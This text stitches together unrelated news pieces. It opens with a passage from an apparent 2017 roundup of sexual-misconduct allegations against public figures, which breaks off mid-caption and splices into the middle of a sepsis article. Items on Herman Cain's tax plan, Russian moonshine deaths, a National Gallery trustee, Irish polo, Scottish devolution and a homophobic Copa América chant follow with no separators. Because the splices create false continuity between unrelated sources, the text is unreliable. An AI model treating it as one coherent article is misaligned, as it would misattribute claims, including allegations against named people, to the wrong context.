"I have denied, and continue to deny, that I have engaged in any such misconduct," Martins wrote in a letter informing the ballet board of his retirement, according to The Times. "I cooperated fulling in the [company's] investigation and understand it will be completed shortly. I believe its findings would have vindicated me."
Charles Dutoit
Number of accusers: Four
Charles Dutoit performs with the Philadelphia Orchestra in 2011. Alex Brandon / AP file
Charles Dutoit, 81, the world-renowned artistic director and principal conductor of London's Royal Philharmonic Orchestra, allegedly sexually assaulted four women between 1985 and 2010, The Associated Press reported. The women — three opera singers and a classical musician — said the incidents happened in a car, Dutoit's hotel suite, his dressing room, an elevator, and backstage before a performance.
The women allege that Dutoit did everything from groping their breasts to restraining them and thrusting himself upon them.
NBC News was not able to independently confirm the women's allegations, and could not reach Dutoit. Dutoit also did not respond to multiple requests for comment from the AP.
Morgan Spurlock
Director Morgan Spurlock speaks on stage during at the 14th annual Dubai International Film Festival on Dec. 11, 2017. Vittorio Zunino Celotto / Getty Images
Director Morgan Spurlock admitted on Dec. 13 to a history of sexual misconduct that reaches back to his college days.
Declaring "I am part of the problem," the 47-year-old filmmaker — who won acclaim for his 2004 documentary "Super Size Me" — wrote in a blog post that he was accused of rape in college, settled a sexual harassment lawsuit and has cheated on all of his romantic partners, including both of his wives.
The post was shared from Spurlock's verified Twitter account. He said coming clean is necessary, in part, because of the anxiety he faced: "As I sit around watching hero after hero, man after man, fall at the realization of their past indiscretions, I don't sit by and wonder 'who will be next?' I wonder, 'when will they come for me?'"
Marcelo Gomes
Number of accusers: Unclear
Marcelo Gomes, one of the most distinguished ballet dancers, resigned in December from the American Ballet Theater following accusations of sexual misconduct.
Gomes, 38, resigned when the American Ballet Theater began to probe into sexual harassment allegations against him. Andrew F. Barth, the chairman of the company’s board of trustees, told the New York Times in an emailed statement that the alleged incident was not related to his employment at the American Ballet Theater.
Lisa Linden, spokeswoman for the Brazilian native, said in an emailed statement to the Times, “This is a time of reflection for Marcelo. He is gratified and strengthened by the support he has received from family, friends and colleagues. We have no further comment at this time.”
Tavis Smiley
Number of accusers: Multiple
Tavis Smiley officiates Courting Justice: Little Rock, Arkansas at Central Arkansas Library Ron Robinson Theatre on Sept. 23, 2016. Earl Gibson III / Getty Images file
PBS announced on Dec. 13 that it was suspending distribution of the late-night talk show "Tavis Smiley" following "troubling allegations" of misconduct against the longtime public television and radio host.
The outside investigation found that Smiley had engaged in sexual relationships with "multiple subordinates," according to Variety, which first reported the news. They said witnesses had told the investigators that Smiley was a verbally abusive and threatening boss and made some employees feel their success was tied to a sexual relationship with him, Variety reported. NBC News has not independently verified those accounts.
Smiley denied the allegations in a video and statement posted to Facebook: "I have never groped, inappropriately exposed myself, or coerced any colleague in the workplace, ever, in my 30-year career," Smiley said in the video.
NFL Network Analysts Marshall Faulk, Ike Taylor and Heath Evans
Number of accusers: At least one
From left, NFL Network's Heath Evans, Ike Taylor and Marshall Faulk. Getty Images; AP
The NFL Network suspended Pro Football Hall of Famer Marshall Faulk and NFL players-turned-analysts Ike Taylor and Heath Evans on Dec. 11 after a female colleague accused them of sexual harassment.
Faulk, Taylor and Evans, along with former executive producer Eric Weinberger and former network analysts Donovan McNabb, Warren Sapp and Eric Davis, were named in an updated lawsuit against NFL Enterprises by Jami Cantor, a former wardrobe stylist for the network.
None of the seven is named as a respondent in the lawsuit, which was originally filed in October in California Superior Court Los Angeles County Superior Court. The original complaint alleged inappropriate actions by 50 people whom it identified only as John Does 1-50.
The amended complaint accuses Faulk and Evans of having groped Cantor while she was at the network, while it accuses Taylor and McNabb of having sent her sexually inappropriate communications.
The communications from Taylor allegedly included video of him masturbating, while the alleged communications from McNabb, who now works for BeIN Sports and ESPN Radio, were text only, according to the complaint.
Alex Riethmiller, a spokesman for NFL Network, told NBC News in a statement Monday night: "Marshall Faulk, Ike Taylor, and Heath Evans have been suspended from their duties at NFL Network pending an investigation into these allegations."
Weinberger left NFL Network in 2015 to become president of Bill Simmons Media Group, publisher of the sports website The Ringer. The amended complaint accuses Weinberger of both having touched Cantor inappropriately and having sent her sexually inappropriate communications.
A spokesperson for The Ringer told NBC News: "These are very serious and disturbing allegations that we were made aware of today. We are placing Eric on leave indefinitely until we have a better understanding of what transpired during his time at the NFL, and we will conduct our own internal investigation."
Ryan Lizza
Number of accusers: At least one
Ryan Lizza attends The 2009 New Yorker Festival: The Political Scene at City Winery on October 17, 2009 in New York. Neilson Barnard / Getty Images for The New Yorker file
Ryan Lizza, the Washington correspondent of The New Yorker, was fired on Dec. 11 over claims of improper sexual conduct.
"The New Yorker recently learned that Ryan Lizza engaged in what we believe was improper sexual conduct," the magazine said in a statement. "We have reviewed the matter and, as a result, have severed ties with Lizza. Due to a request for privacy, we are not commenting further."
But Lizza disputed the magazine's decision almost immediately, issuing a statement that described a complaint made by one woman.
"I am dismayed that the New Yorker has decided to characterize a respectful relationship with a woman I was dating as somehow inappropriate," he said. "The New Yorker was unable to cite any company policy that was violated. I am sorry to my friends, workplace colleagues, and loved ones for any embarrassment this episode may cause."
The woman mentioned by Lizza remains anonymous, but her lawyer, Douglas Wigdor, sharply disagreed with Lizza's description of the circumstances.
"In no way did Mr. Lizza’s misconduct constitute a'respectful relationship,' as he has now tried to characterize it," Wigdor said in a statement. Lizza was also suspended by CNN, where he is an on-air contributor.
Mario Batali
Number of accusers: Four
Celebrity chef Mario Batali speaks during an interview at his restaurant, Del Posto, in New York on April 11, 2006. Brendan McDermid / Reuters file
Four women accused celebrity chef Mario Batali of inappropriate touching over the course of two decades, causing the restaurateur and television show host to step aside from his projects for the time being.
The accusations against Batali were first published in a report by Eater New York on Dec. 11. Three of the accusers were employees of the chef.
All the women recounted instances at different points in Batali's career when they say the chef groped them and made inappropriate comments of a sexual nature.
In a statement, Batali apologized and said the accusations described by the women "match up with the way [he has] acted."
“I apologize to the people I have mistreated and hurt. Although the identities of most of the individuals mentioned in these stories have not been revealed to me, much of the behavior described does, in fact, match up with ways I have acted. That behavior was wrong and there are no excuses. I take full responsibility and am deeply sorry for any pain, humiliation or discomfort I have caused to my peers, employees, customers, friends and family," the statement said in part.
Batali added that he was stepping away from the "day-to-day operations of my businesses," acknowledging his actions disappointed many people and "the failures are mine alone."
A few days later, ABC said they fired him from the cooking show, "The Chew."
Lorin Stein
Number of accusers: Unclear
Former Paris Review Editor Lorin Stein went under investigation in October for numerous sexual harassment allegations from female employees and writers.
The New York Times first reported in December that Stein sent a letter of resignation to the Paris Review Board. In the letter he wrote, “At times in the past, I blurred the personal and the professional in ways that were, I now recognize, disrespectful of my colleagues and our contributors, and that made them feel uncomfortable or demeaned. I am very sorry for any hurt I caused them.”
Before the board, Stein acknowledged that he had both dated and expressed interest in women within the workplace. He also acknowledged in his letter that he understands now that his behavior was an “abuse” of his position, and he realizes that his behavior made his colleagues feel demeaned or uncomfortable.
Nicole Rudick, managing editor of the Paris Review, was named interim editor following his resignation.
James Levine
Number of accusers: Multiple
James Levine, then-Boston Symphony Orchestra music director, conducts the symphony on its opening night performance at Tanglewood in Lenox., Massachusetts on July 7, 2006. Michael Dwyer / AP
New York's Metropolitan Opera suspended its famed longtime conductor James Levine on Dec. 3 while it investigates allegations of sexual misconduct.
The opera's announcement followed a report in the New York Post that Levine was accused in a police report of molesting a young man beginning when the man was 15 years old and that the sexual abuse continued for years.
The New York Times identified two other men who it said alleged that they'd had sexual encounters with Levine beginning in the summer of 1968, when they were teens at a music school in Michigan.
On Dec. 8, Illinois prosecutors investigating sexual abuse allegations dating back to the 1980s said they were unable to press charges based on state law at the time and other factors.
Levine has denied the allegations, saying "as understandably troubling as the accusations noted in recent press accounts are, they are unfounded. As anyone who truly knows me will attest, I have not lived my life as an oppressor or an aggressor."
Garrison Keillor
Number of accusers: At least one
Garrison Keillor, creator and host of "A Prairie Home Companion, in an interview by The Associated Press on July 20, 2015, in St. Paul, Minnesota. Jim Mone / AP file
Garrison Keillor, the former host and creator of "A Prairie Home Companion," was fired by Minnesota Public Radio on Nov. 29 over "allegations of his inappropriate behavior with an individual who worked with him."
Keillor was axed a month after the public radio station received a report about his alleged "conduct" while he was still producing the show that he hosted from 1974 until he retired last year.
"Garrison Keillor has been an important part of the growth and success of MPR, and all of us in the MPR community are saddened by these circumstances," MPR president Jon McTaggart said Wednesday.
MPR has hired an outside lawyer "to conduct an independent investigation of the allegations," the public radio station said in statement.
Keillor released a statement in which he said he was fired over “a story that I think is more interesting and more complicated than the version MPR heard.” But he did not release any details.
"It's some sort of poetic irony to be knocked off the air by a story, having told so many of them myself, but I'm 75 and don't have any interest in arguing about this," he added. "And I cannot in conscience bring danger to a great organization I've worked hard for since 1969."
Keillor said he was "sorry for the people who will lose work on account of this."
Matt Lauer
Number of accusers: Multiple
Matt Lauer on NBC News' 'Today.' NBC NewsWire / Getty Images
Matt Lauer was fired by NBC News following two decades as "Today" anchor after a detailed complaint was lodged against him about inappropriate sexual behavior in the workplace.
In a memo to employees on Nov. 29, NBC News Chairman Andrew Lack said the complaint, which was made by a female colleague of Lauer's, prompted a serious review and represented a "clear violation of our company's standards."
The alleged incident began at the 2014 Winter Olympics in Sochi and continued after the games, NBC News confirmed. A lawyer for the woman said she did not want to be identified.
Lack said it was the first complaint lodged against Lauer, 59, for his behavior since he took over as anchor of the morning show in 1997, but there was "reason to believe" it may not have been an isolated incident.
Later, Variety and The New York Times reported other cases of women coming forward to allege sexual misconduct against Lauer. Variety said at least three women shared accounts that were corroborated by "dozens of interviews with current and former staffers" during their two-month investigation. The Times said two women also made complaints against Lauer following his firing — actions that were confirmed by NBC officials.
The newspaper reported that one of those women, now a former employee, said Lauer in 2001 locked the door to his office and sexually assaulted her.
Lauer said in a statement that he was "truly sorry" to the people he hurt. While he said some of the allegations were "untrue and mischaracterized," he admitted that "there is enough truth in these stories to make me feel embarrassed and ashamed."
Charlie Rose
Number of accusers: At least 9
Charlie Rose speaks during the 2015 Winter TCA Tour on Jan. 12, 2016 in Pasadena, California. JB Lacroix / WireImage file
Television host and journalist Charlie Rose was fired by CBS News, PBS and Bloomberg after eight women accused him of sexual harassment and unwanted advances in a Nov. 20 report in The Washington Post.
The allegations against Rose, 75, included groping female colleagues and walking around naked in their presence, The Post reported. All eight women, who alleged incidents that occurred from the late 1990s to 2011, were either employees at the “Charlie Rose” show or hoped to work for it.
Three women spoke to The Post on the record and five women chose to remain anonymous. Two women cited in the report, Kyle Godfrey-Ryan and Megan Creydt, confirmed their accounts to NBC News hours after The Post published its report.
“It is essential that these women know I hear them and that I deeply apologize for my inappropriate behavior,” Rose said in a statement to The Post that he later posted on Twitter. “I am greatly embarrassed. I have behaved insensitively at times, and I accept responsibility for that, though I do not believe that all of these allegations are accurate. I always felt that I was pursuing shared feelings, even though I now realize I was mistaken.”
Rose has long hosted his show, which airs on PBS and is filmed at Bloomberg headquarters, and also had been a co-anchor for “CBS This Morning” and a contributing correspondent for “60 Minutes.”
Bloomberg LP said in a statement to NBC News on Monday: "We are deeply disturbed to learn of these allegations and are immediately suspending the show from airing on Bloomberg TV and radio."
"Despite Charlie's important journalistic contribution to our news division, there is absolutely nothing more important, in this or any organization, than ensuring a safe, professional workplace," CBS News President David Rhodes said in a statement, in part, announcing Rose's termination Tuesday. "We need to be such a place."
PBS spokeswoman Jennifer Rankin Byrne said in a statement Tuesday: “In light of yesterday’s revelations, PBS has terminated its relationship with Charlie Rose and cancelled distribution of his programs. PBS expects all the producers we work with to provide a workplace where people feel safe and are treated with dignity and respect.”
Bloomberg TV confirmed it had severed ties with Rose.
Glenn Thrush
Number of accusers: 4
Glenn Thrush, chief White House political correspondent for the The New York Times, works in the briefing room of the White House in Washington on Feb. 24, 2017. Yuri Gripas / Reuters file
Glenn Thrush, one of the most prominent political journalists, was suspended by The New York Times on Nov. 20 after he was reportedly accused of sexual misconduct.
The suspension came after a report was published by news outlet Vox, which detailed an alleged pattern of inappropriate behavior toward women, particularly young female reporters.
Thrush is a MSNBC contributor. A spokesperson for the network said, "We’re awaiting the outcome of the Times’ investigation. He currently has no scheduled appearances.”
Thrush, who is married, apologized in a statement.
“I apologize to any woman who felt uncomfortable in my presence, and for any situation where I behaved inappropriately. Any behavior that makes a woman feel disrespected or uncomfortable is unacceptable,” Thrush said in the statement.
"My recollection of my interactions with Laura differs greatly from hers – the encounter was consensual, brief, and ended by me. She was an editor above me at the time and I did not disparage her to colleagues at POLITICO as she claims. The assertion that I would rate women based on their appearance is also false," Thrush said.
A month after the political reporter was suspended, The New York Times announced it had wrapped up its investigation into the matter.
The paper decided to continue Thrush's suspension until late January and remove him from coverage of the White House, but said they would not fire him.
“We understand that our colleagues and the public at large are grappling with what constitutes sexually offensive behavior in the workplace and what consequences are appropriate,” said Executive Editor Dean Baquet. “Each case has to be evaluated based on individual circumstances. We believe this is an appropriate response to Glenn’s situation.”
On Dec. 20, the Times announced that Thrush would remain suspended until late January and would be removed from the team covering the White House.
Random House, the publishing company pursuing a book about Donald Trump by Thrush and New York Times reporter Maggie Haberman, announced it would move forward with the deal, but only with Haberman.
Russell Simmons
Number of accusers: Multiple
Russell Simmons presents the Vanguard Award at the 46th NAACP Image Awards in Pasadena, California on Feb. 6, 2015. Chris Pizzello / AP file
Russell Simmons, the hip-hop mogul and producer who helped to create the Def Jam brand, said he was stepping down from his various companies following accusations of sexual misconduct.
The initial accusation was reported in The Los Angeles Times on Nov. 19, when model Keri Claussen Khalighi said he made aggressive sexual advances on her in 1991 and coerced her to have oral sex at his apartment and forced himself on her in the shower. Khalighi, then 17, said director Brett Ratner was there as well and declined to do anything when she asked for help.
An attorney for Ratner didn't immediately respond to a request for comment, although he told the newspaper that Ratner has "no recollection" of Khalighi's apparent plea for help. Simmons also provided a statement saying that he did spend a couple of days with her but was "shocked" about her assertions of that time.
A second woman to come forward — a screenwriter named Jenny Lumet — recounted in a Nov. 30 guest column in The Hollywood Reporter how Simmons forced her into a sexual encounter in 1991 when she was 24.
Simmons, 60, said that her recollections of that night are "very different from mine" although "it is now clear to me that her feelings of fear and intimidation are real."
Other women have since come forward, three of whom were identified in a Dec. 13 New York Times report and said that Simmons raped them in separate incidents in either the 1980s or 1990s. Simmons responded in a statement that "all of my relations have been consensual."
The Los Angeles Times also interviewed five more women, including actress Natashia Williams-Blach, who alleged sexual misconduct. The women said he used his personal yoga studio to prey on them, which Simmons also denied.
Jeffrey Tambor
Number of accusers: 2
Jeffrey Tambor arrives at the "Transparent" special screening in Los Angeles in April, 2017. Willy Sanjuan / AP
Jeffrey Tambor, who won critical acclaim for his portrayal of a transgender woman in hit TV series ‘Transparent’, was accused on Nov. 16 of sexually harassing a transgender actor on the show.
Trace Lysette alleges the actor made sexual advances and remarks towards her during the making of the award-winning comedy series and claimed that “one time it got physical.”
The allegation comes days after Tambor was reportedly accused of sexual harassment by his former assistant on the show, Van Barnes, who is also transgender.
Tambor denied the allegations saying he has “never been a predator — ever.”
“I am deeply sorry if any action of mine was ever misinterpreted by anyone as being sexually aggressive or if I ever offended or hurt anyone. But the fact is, for all my flaws, I am not a predator and the idea that someone might see me in that way is more distressing than I can express,” the statement said in part.
Sen. Al Franken
Number of accusers: Multiple
Sen. Al Franken, D-Minn. speaks on Capitol Hill in Washington on Oct. 4, 2011. Carolyn Kaster / AP, file
Sen. Al Franken, D-Minn., was accused by a radio news anchor of forcibly kissing and groping her in 2006 when they were overseas as part of a USO show.
Leeann Tweeden, a radio news anchor with KABC in Los Angeles, said Franken insisted on practicing a kiss before going on stage.
"He continued to insist, and I was beginning to get uncomfortable," she wrote in a post on KABC's website.
Tweeden said she reluctantly agreed to rehearse the line leading up to the kiss and that's when Franken, "came at me, put his hand on the back of my head, mashed his lips against mine and aggressively stuck his tongue in my mouth." "I immediately pushed him away with both of my hands against his chest and told him if he ever did that to me again I wouldn't be so nice about it the next time," she said. "I felt disgusted and violated."
Franken said in a statement, "The first thing I want to do is apologize: to Leeann, to everyone else who was part of that tour, to everyone who has worked for me, to everyone I represent, and to everyone who counts on me to be an ally and supporter and champion of women."
Less than a week later, a second woman said Franken grabbed her rear in 2010 at the Minnesota State Fair.
Lindsay Menz, 33, told CNN in an interview that Franken grabbed her buttocks when they posed for a photo together. The accusation was first reported by CNN.
In a statement to CNN, Franken said he felt "badly," but he did not remember posing for the photo with Menz. "I take thousands of photos at the state fair surrounded by hundreds of people, and I certainly don't remember taking this picture," Franken told CNN on Sunday. "I feel badly that Ms. Menz came away from our interaction feeling disrespected."
Franken announced his plans to resign on Dec. 7 while taking a parting shot at President Donald Trump and other Republicans.
"I, of all people, am aware that there is some irony that I am leaving while a man who has bragged on tape about his history of sexual assault sits in the Oval Office, and a man who has preyed on underage girls is running for the Senate with the full support of his party," Franken, D-Minn., said in emotional speech on the Senate floor.
He was referring to Trump, who has also been accused of sexual misconduct, and Roy Moore, the Republican candidate for Senate in Alabama, who faced allegations of sexual misconduct with teenage girls. Trump and Moore have both denied the claims.
Matt Zimmerman
Number of accusers: More than 1
Matt Zimmerman was senior vice president for booking at NBC News and was one of the top bookers of talent and guests for "Today."
“We have recently learned that Matt Zimmerman engaged in inappropriate conduct with more than one woman at NBCU, which violated company policy," the company said in a statement, referring to NBCUniversal, the parent company of NBC. "As a result he has been dismissed.”
Zimmerman could not immediately be reached for comment.
Andrew Kreisberg
Number of accusers: 19
Executive producer Andrew Kreisberg speaks onstage at The Executive Producers' panel discussion during the CW portion of the 2016 Television Critics Association Summer Tour at The Beverly |
can mean within a matter of hours. One study found that once a person goes into septic shock, chances for survival decrease 7.6 percent for every hour that it goes untreated.
Physicians trained to look for sepsis typically see warning signs in fever, elevated heart rate, elevated respiration and low blood pressure, said Henry Masur, chief of critical care medicine at the National Institutes of Health Clinical Center in Bethesda.
“We use these vital signs and supplement with a history and preliminary lab work [such as white blood cell count] to determine whether to admit and whether to go straight to the intensive care unit or a general medical floor,” he said.
If he suspects sepsis, he will first address low blood pressure by administering fluids, ideally increasing pressure so blood will circulate to organs.
If the fluids don’t work, he begins IV drugs to constrict blood vessels and raise blood pressure. He starts patients on broad-spectrum antibiotics that are likely to attack multiple organisms while he awaits culture results to reveal the actual offender. Then he narrows the drug arsenal to those most likely to target the problem. If he can identify the original source of infection, he drains that spot.
“So basically, outcome depends on fluids, blood pressure, antibiotics and source control. But it also depends on what organs are affected and underlying health status. Some people turn around in a few hours; some in days, weeks or months. Some will, unfortunately, die,” Masur said.
Knowing the symptoms
A rapid pulse, fast breathing, and swelling and red tissue should put people on guard. The most troubling symptoms are a combination of intense pain and mental confusion that worsens within a few hours, Simpson said. “If you have these symptoms, ask the doctor in these words: ‘Is this likely sepsis?’ ”
Practitioners also urge that people of all ages get vaccinated for the flu, that those older than 65 get vaccinated for pneumonia and that teenagers get vaccinated for meningococcal meningitis. These are among the infections that can lead to sepsis.
For Megan Jones, “having one leg and the ongoing risk for serious infection changes how you live,” she says. “Everything has to be handicap-accessible; you need antibiotics for when you travel, just in case; I have all my doctors’ home and cell numbers.”
After a fever triggered seizures last August, she gets post-sepsis headaches. Still, she calls life “stable and normal” overall.
“I am doing my graphic design and writing. I get around well with crutches or a wheelchair, and I drive. I realize waking up is a good day when you know you came close to not being able to do that again.”Timothy Egan on American politics and life, as seen from the West.
By almost any measure — social, political, economic, logical — Herman Cain’s 9-9-9 tax plan is nuts, nuts, nuts. Go ahead and jack up the price of nearly everything that moves in the United States with a 9 percent national sales tax on all new purchases and services. Talk about instant branding: every time you buy something, you’ll be hit with the Herm Cain tax at the checkout line.
And this is just the start. The nearly 50 million filers whose main federal tax is now a payroll deduction and not an income tax would see their overall bill from the government increase by nearly 100 percent. This conclusion comes from the economists and fact-checkers who have actually looked at the napkin sketch of a plan Cain got from some accountant friend of his in Cleveland.
In essence, Cain is proposing the largest shift in tax burden from the wealthy to the poor and middle class in the nation’s history. Oh, and he apparently would scrap the two great government programs that keep millions clinging to fragile middle-class status — Social Security and Medicare — because he wants to eliminate the payroll taxes that now pay for those insurers of dignity.
We are forced to seriously consider this bizarro-world, reverse-Robin-Hood scheme, one that would junk the entire federal tax code for a 9 percent flat rate on corporate earnings, personal income and retail sales, because of the astonishing news that Republicans have elevated Cain to the top of their field in three polls released over the last 48 hours.
Not to worry: fruit flies on a bad apple have a longer life than does a front-runner among Republican presidential candidates. Cain’s reign will be short because his central plan is pure craziness, even for Republicans.
Let’s say you buy a new car or a week’s worth of groceries, or pay $2,000 for your kid’s dental work. Cain would add 9 percent to the price of those transactions — on top of the 9 percent in sales taxes people already pay in some states, like Washington, where I live. And if you’re lower middle class, there would be no income tax offset — but an increase!
That’s the Cain platform: raise the price of everything in the worse economic crisis since the Great Depression.
So how did Cain float to the top, at least for a week? He’s a motivational speaker, and a good one. He’s glib, optimistic, likeable, and has a great personal story. But he has zero governing experience. And his business forte was running a national food chain, Godfather’s, when they made truly awful-tasting pizzas. (I’m giving them the benefit of the doubt on their post-Cain pizzas.)
Cain tops the polls because almost three-quarters of Republican primary voters cannot come around to their likely nominee, Mitt Romney. And the rest of the field lose voters every time they open their mouths.
In Tuesday’s debate, Newt Gingrich showed why he is a prevaricator with preternatural talent, finding new and creative ways to revive old and discredited lies. He trotted out the 2009 “lie of the year” winner by Politifact.com — that death panels would decide who gets to live under the new health care law.
He also called for jailing the congressional architects of a new law to curb the kind of uncontrolled manipulations by bankers and Wall Street traders that brought down the global economy. You heard that right: he doesn’t want the people who dreamed up all those explosive credit default swaps and derivative trades to go to jail; he wants to incarcerate the reformers.
Cain’s ideas are actually worse: he would give Wall Street speculators more money. Under his plan, a billionaire now paying only 15 percent federal taxes on investment income — a lower rate, as Warren Buffett notes, than his secretary pays — would get a 40 percent reduction.
Last month’s frontrunner, Gov. Rick Perry of Texas, offered up fresh material for the all-hat-no-cattle label he seems determined to wear. To his prior proclamations that evolution is “a theory that’s out there,” and global warming is a hoax, this dream candidate of Rush Limbaugh put the American Revolution in the 16th century. Amazing, the things Thomas Jefferson could do in his 235th year.
Oh, but there were some critics of Cain-o-nomics. Michele Bachmann noted that the 9-9-9 design, turned upside down, was a Satanic 6-6-6.
The power of his plan, Cain replies to all criticism, is its simplicity. “I can explain it in a minute!” he says. But someone who has taken more than a minute with 9-9-9 — Bruce Bartlett, the former economic adviser to Presidents Reagan and George H. W. Bush — has called it “insane.” Read his examination in his Times blog here.
Cain is unelectable, and his plan is toxic. This gets Republicans back to the one person they cannot yet get their arms around: Willard Mitt Romney, an unflappable technocrat with a Harvard M.B.A. who passed a bold socialist health care plan that is a model for the nation, and once professed that he would be stronger on gay rights than Teddy Kennedy. Bring on the general election.Vladimir Putin is cracking down on moonshine.
The Russian president wants his government to get tough on illegal alcohol sales amid a poisoning crisis in Siberia.
Dozens of people died in the Irkutsk region after drinking an herbal bath remedy containing poisonous methanol as substitute for regular drinking alcohol. The region has declared an emergency and banned sales of most products containing alcohol, according to the Russian state-run news agency Tass.
The Russian government has tried to discourage excessive drinking by raising alcohol taxes, banning advertising and introducing regulations over the past few years.
As a result, legal alcohol has become too expensive for many Russians as the country sinks deeper into economic crisis. Alcohol sales slumped 8% in 2015 and 1.6% further in the first three quarters of the year, according to official statistics.
But researchers at the market analysis company Euromonitor said the restrictions and higher taxes haven't stopped people from drinking. They have just turned to cheaper alternatives, mainly homemade and counterfeit beverages.
The poisoning deaths in Irkutsk are just the latest in Russia in recent months. The consumer watchdog agency Rospotrebnadzor says 9,300 Russians died of alcohol poisoning in the first nine months of the year.
Related: Russian vodka exports slump 40% because of sanctions
Putin's plan includes tougher regulations on sales of products that contain more than 25% alcohol, such as perfumes and household cleaning products, as well lower taxes and duties on alcoholic drinks in hopes of reducing demand for substitutes.
The World Health Organization says about one in three Russian men suffers from an alcohol use disorder, and about one in six is dependent on alcohol.
Another study, published in the journal The Lancet in 2014, found that a quarter of Russian men die before they reach age 55, most because of high alcohol consumption.John Singer has given almost £150,000 to the party in the past five years, prompting concerns of ‘stealth politicisation’ at the gallery
The government has admitted making an error after failing to declare that a reappointed trustee to the National Gallery is a Conservative party donor.
David Cameron granted John Singer a second term on the board of the Trafalgar Square gallery last week. In keeping with rules to ensure that public appointments are made on merit, a No 10 statement said the City financier had declared “no political activity” over the last five years.
But documents at the Electoral Commission uncovered by the Guardian show that Singer, the former European chairman of Advent International, has given the Tories £146,202.38 over the past five years, £48,500 of which was handed over in the last year. Since 2005 he has given £302,703 to the party.
The failure to disclose donations has prompted concern among MPs and staff at the gallery that Singer’s reappointment is part of a gradual “politicisation by stealth” of the gallery.
Last year, managers at the gallery privatised visitor and security services, prompting a 100-day strike. Union leaders criticised trustees for failing to make a stand against the proposals.
Mark Serwotka, head of the Public and Commercial Services union (PCS) which represents staff at the gallery, said: “Staff and the public were, rightly, deeply sceptical about the role of the trustees in last year’s privatisation of visitor services at the National Gallery.
“It is a cause of grave concern if a trustee’s obvious political affiliation is not being declared as this will call into question the independence of the board.”
Jess Phillips, the Labour MP for Birmingham Yardley, said: “It’s completely unacceptable that the Tories have failed to disclose that this appointment has gone to one of their own party donors. Transparency is key when it comes to public appointments like this – something David Cameron’s government is severely lacking.”
Singer, along with fellow trustee Charles Sebag-Montefiore, was awarded a second four-year term as a gallery trustee on 18 January.
Before taking the reigns at Advent, a global private equity firm, he previously held consulting and board roles at McKinsey & Co Inc and Central Sheerwood plc among others. He is chair of the City of London Sinfonia and chairs the board of the New College of Humanities.
When Singer was first appointed as a National Gallery trustee in 2012, the official press release confirmed his political donations to the Conservative party.
There are currently 13 trustees of the National Gallery who meet approximately two days per month to fulfil the role, and are unpaid.
Fellow trustees include Sir Michael Hintze, who has given more than £4m to the Tories, and Anne Heseltine, the wife of the former secretary of state Michael Heseltine.
In October, security guards at the gallery ended a 100-day strike over privatisation proposals. The PCS said its members had voted unanimously to return to work after an agreement was reached. It added that it had opposed the privatisation of the gallery’s visitor services and regretted that it was unable to prevent it going ahead.
A government spokesperson admitted making an error in the Singer announcement, and said it would be corrected as soon as possible.
“Mr Singer declared a recordable donation when first appointed to this position in 2012, which was published at the time. There has been an administrative error with the listing for his reappointment, and this will be rectified,” she said.Ireland are the new European polo champions after defeating France to win the gold medal in Berlin.
The team of Mickey Henderson, Stephen Hutchinson, Max Hutchinson and Creighton Boyd, came out on top by seven goals to four in a thrilling deciderat the historic Maifeld Olympic stadium in the German capital, which was the venue the last time polo was part of the Olympic Games in 1936.
Ireland had beaten hosts and red-hot favourites Germany in the semi-final and they maintained their superb form to win the gold medal in the championship final against France.
The moment when Ireland's Stephen Hutchinson realizes that he is a European Champion!! Incredible day for Irish Polo pic.twitter.com/OkT61V43XQ — Team IRL Equestrian (@TeamIRLEq) September 4, 2016
Germany took bronze after a play-off against Austria.
Ireland's Max Hutchinson's horse received the award for "the one that runs away" as the most impressive horse of the 206 that participated.
Europe's top eight polo nations took part in the championships with Ireland the only team to remain unbeaten throughout.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
SCOTLAND needs a second referendum to endorse the devo-max proposals of the Vow or the question of independence will not go away, according to the country’s leading pollster.
Professor John Curtice, of Glasgow University, said yesterday that if the tax and welfare powers being devolved to Holyrood were backed by a public vote the wind would be taken out of the constitutional debate.
Giving evidence to a Lords committee, the TV pundit said the Scotland Bill powers, that came from the Smith Commission, should be put to voters to prove that home rule within the UK was the settled will.
poll loading Would a devo-max referendum quell the Independence debate? 0+ VOTES SO FAR YES NO
Asked by concerned peers how Scotland could be kept within the Union, Curtice presented a radical solution.
He said: “You should be holding a referendum on the Scotland Bill going through this place and that forces the public to engage in the issue.
“Having 55 per cent in favour of staying inside the UK has not done anything to quell the debate”
“If you want to try to cement Scotland’s place in the union, the unionist side has to stop apparently running away from facing the public and and get a positive endorsement.”
He added: “Then you can say people voted for this, this is what people in Scotland wanted.”Anyone with a passing acquaintance with football in South and Central America knew it was coming. The Venezuela keeper Dani Hernandez prepared to take a goal kick during his side’s Copa América match against Mexico, and down came the chant from the terraces: “Ehhhhhh, puto”. The phrase roughly translates as “fag” and its homophobia is unedifying in any context. But on Monday night, the chant had added sting, coming just days after the terrible attack on the LGBT community in Orlando, where 49 people were killed at a gay nightclub. The effect was all the more jarring after a minute’s silence had been held in the stadium for the victims of the tragedy.
While the chant’s implications and historical meaning continue to be a hot debate among Mexican fans and football pundits – puto is also a general insult, but in the context of a football game the word is undoubtedly used as a homophobic slur – refraining from the chant could have relayed a powerful message after a tragedy whose victims included four Mexican citizens.
Mexico's fans at Copa América have two messages: viva El Tri, and dump Trump Read more
Mexican Americans have been showing up in huge numbers to this month’s Copa América, and their team – unbeaten in 22 games – are justifiably one of the tournament favorites. More than 80,000 fans attended when El Tri faced Jamaica at the Rose Bowl last week, and there is a sense of home-field advantage every time Mexico enters from the tunnel. This, however, hasn’t stopped a lack of empathy from thousands of fans, who still carelessly used puto at a time when the country looks to stand together with citizens from the gay and Latino communities.
From a fan perspective, it is true that football is a place where industrial language and playful repartee can freely exist. It is also true that puto can also mean a coward or a fool. But in this context, it clearly intends to offend in a homophobic way. Similar arguments are made by fans of English football, such as the antisemitic “Yid Army” chants directed at Spurs fans, but we have moved on as a society, and vulgarity should never excuse ignorance.
There have been campaigns to stop the puto chant, which is not limited to Mexico. Before the tournament began, Mexico’s soccer federation – in collaboration with the national team – launched the campaign “Ya párale” (another traditional Mexican phrase meaning “Stop now”) which aimed to put an end to the chant. But so far, it has not worked: it is still heard at every game.
Selección Nacional (@miseleccionmx) Y hablando de #Incondicionales...
Te necesitamos, #YaPárale con el grito al portero rival.https://t.co/jR2g4fVZK4https://t.co/dAq42BFP5b
Fifa fined Mexico last year as a result of the same actions by their fans during a Concacaf qualifying match against El Salvador. Peru, Uruguay, Argentina and Chile were also fined over similar incidents.
